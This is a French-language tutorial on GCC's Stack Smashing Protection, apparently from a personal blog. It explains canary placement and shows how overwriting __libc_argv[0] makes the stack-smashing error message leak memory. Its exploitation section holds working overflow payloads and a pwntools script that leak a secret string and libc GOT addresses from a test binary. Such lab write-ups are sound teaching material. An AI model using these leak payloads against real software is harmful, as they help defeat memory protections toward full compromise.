Leak via la Stack Smashing Protection
Pour lutter (plutôt) efficacement contre les buffers overflow, une extension de gcc a été développée sous sa version 3. A ses débuts, connue sous le nom de StackGuard puis ProPolice elle est désormais appelée Stack Smashing Protection.
Les conditions d'applications
Cette protection est sous la forme d'un canari / cookie présent dans les fonctions contenant un "vulnerable object". D'après la documentation de gcc, ces objets vulnérables sont :
- appels à alloca
- buffer > 8 bytes
En fonction des options spécifiées à la compilation, les différentes fonctions vont contenir ou pas cette protection :
- -fstack-protector uniquement les fonctions à risques sont protégées
- -fstack-protector-strong les mêmes fonctions que pour -fstack-protector + les fonctions qui contiennent des définitions de tableaux locales et des références aux adresses de la frame actuelle
- -fstack-protector-explicit les mêmes fonction que pour -fstack-protector + les fonctions marquées via _attribute__((stack_protect))
- -fstack-protector-all toutes les fonctions sont protégées
#include <stdio.h>
#include <alloca.h>
const char* secret = "This is a secret";
int ret_one(void)
{
char buffer[10] = {0};
fgets(buffer, 250, stdin);
return 1;
}
int main(const int argc, const char* argv[])
{
puts("Under investigation\n");
ret_one();
return 0;
}
switch :: ~/Projets/SSP » gcc -m32 -fstack-protector -no-pie -g -o SSP stack.c
switch :: ~/Projets/SSP » gdb --batch -ex "file SSP" -ex "disass main" | grep __stack_chk_fail_local
switch :: ~/Projets/SSP » gdb --batch -ex "file SSP" -ex "disass ret_one" | grep __stack_chk_fail_local
0x0804851c <+97>: call 0x80485e0 <__stack_chk_fail_local>
Comme vous le voyez la fonction main ne contient pas la protection car elle ne possède pas en son sein d'objets vulnérables. ret_one qui contient un buffer de plus de 8 bytes possède quant à lui cette protection.
Le stack canary
Le stack canary est à proprement parlé, une variable sur 4 bytes pour les binaires x86 et 8 bytes pour les binaires x86_64. Ainsi les possibilités sont respectivement de 4 294 967 296 (2 ^ 32) et 2 ^ 64, le brute force est donc envisageable dans le premier cas mais complétement con dans l'autre.
Le canary est généré sous unix via /dev/urandom et via CryptGenRandom sous Windows
79 #if defined (_WIN32) && !defined (__CYGWIN__)
80 HCRYPTPROV hprovider = 0;
81 if (CryptAcquireContext(&hprovider, NULL, NULL, PROV_RSA_FULL,
82 CRYPT_VERIFYCONTEXT | CRYPT_SILENT))
83 {
84 if (CryptGenRandom(hprovider, sizeof (__stack_chk_guard),
85 (BYTE *)&__stack_chk_guard) && __stack_chk_guard != 0)
86 {
87 CryptReleaseContext(hprovider, 0);
88 return;
89 }
90 CryptReleaseContext(hprovider, 0);
91 }
92 #else
93 int fd = open ("/dev/urandom", O_RDONLY);
94 if (fd != -1)
95 {
96 ssize_t size = read (fd, &__stack_chk_guard,
97 sizeof (__stack_chk_guard));
98 close (fd);
99 if (size == sizeof(__stack_chk_guard) && __stack_chk_guard != 0)
100 return;
101 }
102
103 #endif
On voit ici en mauve le stack canary placé juste après le buffer, la valeur de celui-ci changeant à chaque exécution. En orange se trouve l'adresse de retour de cette fonction, ainsi si on veut la réécrire on sera obligé de réécrire le canari placé entre deux.
La prochaine instruction va comparer le canari contenu dans ECX et GS:0x14 via un XOR, GS:0x14 contenant tout simplement la valeur première du stack canary (qui elle ne peut être réécrite dans le cas présent).
gdb-peda$ find 0x90054000
Searching for '0x90054000' in: None ranges
Found 2 results, display max 2 items:
mapped : 0xf7fd47d4 --> 0x90054000
[stack] : 0xffffd4dc --> 0x90054000
Si les deux valeurs sont identiques on saute à la prochaine instruction sinon on appel la fonction __stack_chk_fail_local qui va mettre un terme au programme en nous générant un beau message d'erreur tant apprécié par les développeurs.
switch :: ~/Projets/SSP » python -c 'print "A" * 30' | ./SSP
Under investigation
*** stack smashing detected ***: ./SSP terminated
Nous voyons que nous avons réécrit notre adresse de retour mais également le stack canary, un appel à __stack_chk_fail_local va être effectuté, merdum.
__stack_chck_fail_local
C'est cette fonction qui va se charger de nous afficher notre splendide message d'erreur via des appels à d'autres fonctions :
__stack_chck_fail_local >> __stack_chk_fail >> __fortify_fail_abort
void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
/* The loop is added only to keep gcc happy. Don't pass down
__libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
may point to the corrupted stack. */
while (1)
__libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
"*** %s ***: %s terminated\n",
msg,
(need_backtrace && __libc_argv[0] != NULL
? __libc_argv[0] : "<unknown>"));
}
- https://github.com/lattera/glibc/tree/master/debug
- https://j00ru.vexillium.org/slides/2014/confidence.pdf
- http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20Stack%20Smashing%20Protector%20(SSP).pdf
__libc_message correspond, entre autre, à l'affichage de *** stack smashing detected ***: ./SSP terminated, on remarque la présence de la format string %s et notament que la valeur qui lui est associée est __libc_argv[0]. C'est donc bien le nom du programme, cependant cette valeur est contenue dans la stack et c'est dans cette même stack que l'on est capable via notre buffer overflow de réécrire n'importe quoi ou presque.
Ainsi on peut écrire un pointeur quelconque à l'adresse de __libc_argv[0] et étant donné que le format %s permet la lecture du contenu d'un pointeur on peut afficher le contenu de pointer et donc ce que l'on souhaite.
Exploitation
Le but va d'être de lire une valeur quelconque via l'appel de __libc_message, pour cela on va calculer l'offset séparant notre buffer de argv[0] :
gdb-peda$ p &buffer
$2 = (char (*)[10]) 0xffffd4d2
gdb-peda$ find "/home/switch/Projets/SSP/SSP"
Searching for '/home/switch/Projets/SSP/SSP' in: None ranges
Found 2 results, display max 2 items:
[stack] : 0xffffd6ea ("/home/switch/Projets/SSP/SSP")
[stack] : 0xffffdfdb ("/home/switch/Projets/SSP/SSP")
gdb-peda$ find 0xffffd6ea
Searching for '0xffffd6ea' in: None ranges
Found 2 results, display max 2 items:
libc : 0xf7fa3be8 --> 0xffffd6ea ("/home/switch/Projets/SSP/SSP")
[stack] : 0xffffd5a4 --> 0xffffd6ea ("/home/switch/Projets/SSP/SSP")
gdb-peda$ p/d 0xffffd5a4 - 0xffffd4d2
$3 = 210
telescope
--More--(50/100)
0200| 0xffffd598 --> 0xffffd59c --> 0xf7ffd920 --> 0x0
0204| 0xffffd59c --> 0xf7ffd920 --> 0x0
0208| 0xffffd5a0 --> 0x1
0212| 0xffffd5a4 --> 0xffffd6ea ("/home/switch/Projets/SSP/SSP")
0216| 0xffffd5a8 --> 0x0
Ainsi nous allons réécrire le contenu de l'adresse 0xffffd5a4 située à 210 bytes afin d'afficher la variable nommée secret contenu dans .data.
Pour cela il suffit de connaître son adresse :
switch :: ~/Projets/SSP » nm SSP | grep secret
08048610 R secret
switch :: ~/Projets/SSP » python -c 'print "A" * 210 + "\x08\x04\x86\x10"[::-1]' | ./SSP
Under investigation
*** stack smashing detected ***: This is a secret terminated
Erreur de segmentation
Ainsi __libc_argv[0] ne contient plus l'adresse de "/home/switch/Projets/SSP/SSP" (0xffffd5a4) mais celle de secret (0x08048610). __libc_message affiche donc le contenu de 0x08048610 : This is a secret
Exploitation bis
On pourrait également leaker les adresses des fonctions de la libc via les entrées dans la GOT (Global Offset Table). Pour cela récupérons une adresse dans celle-ci :
switch :: ~/Projets/SSP » objdump -R SSP
SSP: format de fichier elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff8 R_386_GLOB_DAT __gmon_start__
08049ffc R_386_GLOB_DAT stdin@GLIBC_2.0
0804a00c R_386_JUMP_SLOT fgets@GLIBC_2.0
0804a010 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a014 R_386_JUMP_SLOT puts@GLIBC_2.0
0804a018 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.
Essayons de leak l'adresse de puts qui sera à l'adresse 0x0804a014 quand elle sera résolu !
from pwn import *
from sys import argv
p = process("./SSP")
p.sendline("A" * 210 + p32(int(argv[1], 16)))
res = p.readall()
print [res]
L'adresse de puts s'affiche puis le reste de la stack jusqu'au prochain null byte (propriété de %s).
switch :: ~/Projets/SSP » python xploit.py 0x0804a014
[+] Starting local process './SSP': pid 24558
[+] Receiving all data: Done (74B)
[*] Process './SSP' stopped with exit code -11 (SIGSEGV) (pid 24558)
['Under investigation\n\n*** stack smashing detected ***: \x80\xf8\xe4\xf7\x90\x81\xe0\xf7 terminated\n']
switch :: ~/Projets/SSP » cd -
/home/switch/Tools/Exploit/libc-database
switch :: ~/Tools/Exploit/libc-database » ./find puts 0xf7e4f880
archive-glibc-debian (id libc6_2.24-11+deb9u3_i386)
switch :: ~/Tools/Exploit/libc-database » ldd --version
ldd (Debian GLIBC 2.24-11+deb9u3) 2.24
Il nous est possible via certaines bases de données de récupérer la version de la libc utilisée depuis les offsets des fonctions d'une libc donnée. On voit alors que l'outil a retrouvé ma version de libc actuelle.
Je ne m'égare pas plus loins pour le moment ;)